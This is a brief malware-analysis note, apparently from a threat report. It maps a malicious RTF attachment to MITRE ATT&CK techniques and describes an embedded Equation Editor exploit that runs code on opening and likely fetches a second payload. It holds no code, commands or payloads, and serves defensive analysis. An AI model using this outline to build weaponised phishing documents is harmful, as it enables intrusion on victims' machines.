MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded OLE object, specifically identified as an Equation Editor exploit. This exploit is designed to execute arbitrary code upon opening the document, likely leading to the download and execution of a secondary payload. The presence of shellcode command strings in the extracted artifact further supports this attack vector.
